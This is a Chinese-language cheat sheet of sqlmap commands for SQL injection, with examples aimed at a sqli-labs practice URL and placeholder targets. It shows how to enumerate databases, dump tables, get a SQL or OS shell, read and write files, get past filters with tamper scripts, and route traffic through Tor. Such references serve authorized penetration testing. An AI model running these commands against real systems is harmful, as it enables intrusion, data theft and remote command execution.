sqlmap 命令大全

时间: 2023-09-21 07:04:39 浏览: 72
以下是一些sqlmap命令的示例: 1. 执行SQL注入漏洞利用并获取SQL Shell: sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --level 3 --sql-shell 2. 获取数据库列表: sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --dbs [2] 3. 判断当前用户是否具有DBA权限: sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --is-dba 4. 获取当前用户的角色信息: sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --roles 请注意,这仅仅是sqlmap命令的一小部分示例。sqlmap是一款功能强大的自动化SQL注入工具,可用于检测和利用数据库中的SQL注入漏洞。具体的命令和参数取决于您的具体需求和目标系统的情况。在使用sqlmap之前,请务必了解并遵循合法和道德的使用准则。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>
相关问题

sqlmap使用大全

SQLMap是一款自动化的SQL注入工具,可以帮助测试人员快速发现应用中的SQL注入漏洞。以下是SQLMap的一些基本使用方法: 1. 基本使用命令 ``` python sqlmap.py -u <URL> --dbs # 列出数据库 python sqlmap.py -u <URL> -D <database> --tables # 列出数据库中的表 python sqlmap.py -u <URL> -D <database> -T <table> --columns # 列出表中的列 python sqlmap.py -u <URL> -D <database> -T <table> -C <column> --dump # 获取列中的数据 ``` 其中,`<URL>`是待测试的网站地址,`<database>`是数据库名,`<table>`是表名,`<column>`是列名。 2. 常用选项 - `-u`:指定待测试的网站地址。 - `--dbs`:列出数据库。 - `-D`:指定数据库名。 - `--tables`:列出数据库中的表。 - `-T`:指定表名。 - `--columns`:列出表中的列。 - `-C`:指定列名。 - `--dump`:获取列中的数据。 - `--level`:指定测试等级,从1到5,默认为1。 - `--risk`:指定测试风险,从1到3,默认为1。 - `--threads`:指定多线程数,默认为1。 - `--delay`:指定延迟时间,默认为0秒。 - `--timeout`:指定超时时间,默认为30秒。 - `--batch`:关闭交互式模式,直接使用默认选项。 - `--crawl`:开启爬虫模式,爬取整个网站进行测试。 - `--cookie`:指定Cookie。 - `--user-agent`:指定User-Agent。 - `--headers`:指定HTTP头。 - `--tor`:通过Tor网络进行匿名测试。 - `--proxy`:指定代理服务器。 3. 高级使用方法 - 手动指定注入点:使用`-p`选项手动指定注入点。 - 使用HTTP参数:使用`-p`选项手动指定参数,例如`-p id`。 - 使用POST请求:使用`--data`选项指定POST数据。 - 编码绕过:使用`--tamper`选项指定编码绕过脚本,例如`--tamper=space2comment`。 - 文件上传:使用`--file-read`选项读取文件,使用`--file-write`选项写入文件。 - 命令执行:使用`--os-shell`选项执行系统命令。 - 数据库管理:使用`--sql-shell`选项进入SQL Shell。 以上是SQLMap的一些基本使用方法和常用选项,更多高级使用方法可以查看SQLMap的官方文档。在使用SQLMap进行测试时,请务必遵守法律法规和道德规范,避免对他人造成损失。

sqlmap命令

sqlmap是一款常用的SQL注入工具,常用的命令如下: 1. 基本扫描命令: ``` python sqlmap.py -u <target_url> --dbs # 扫描目标URL,获取数据库名 python sqlmap.py -u <target_url> -D <database> --tables # 扫描目标数据库,获取表名 python sqlmap.py -u <target_url> -D <database> -T <table> --columns # 扫描目标表,获取列名 python sqlmap.py -u <target_url> -D <database> -T <table> -C <column> --dump # 扫描目标列,获取数据 ``` 2. 更高级的扫描命令: ``` python sqlmap.py -u <target_url> --level 5 --risk 3 # 高级扫描,设置扫描的等级和风险等级 python sqlmap.py -u <target_url> --crawl=1 # 爬取网站链接,自动进行扫描 python sqlmap.py -u <target_url> --os-shell # 获取操作系统权限 python sqlmap.py -u <target_url> --sql-shell # 获取数据库权限 ``` 请注意,使用sqlmap进行SQL注入扫描是非常危险的,应该仅在授权的情况下使用。一定要遵守法律法规和道德规范。

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